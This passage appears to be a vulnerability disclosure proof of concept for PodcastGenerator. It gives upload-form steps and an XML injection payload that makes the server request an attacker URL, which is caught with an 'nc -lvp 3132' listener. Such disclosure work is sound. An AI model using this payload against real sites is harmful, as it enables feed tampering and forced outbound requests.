  2. Technical Details & POC
  ========================================
  steps: 
  1. Go to 'Upload New Episodes' (http://localhost/PodcastGenerator/admin/episodes_upload.php)
  2. Fill all section and Short Description section set as 'test]]></shortdescPG><imgPG path="">( example :Attacker domain)http://localhost:3132</imgPG><shortdescPG><![CDATA[test'
  
  payload:test]]></shortdescPG><imgPG path="">http://localhost:3132</imgPG><shortdescPG><![CDATA[test
  
  By the way i used localhost.If you have domain, you can use domain.
  
  3.And upload episodes
  
  4. I am listening on port 3132 because I'm observating for incoming requests
  
  nc -lvp 3132
  
  5. And I receive request
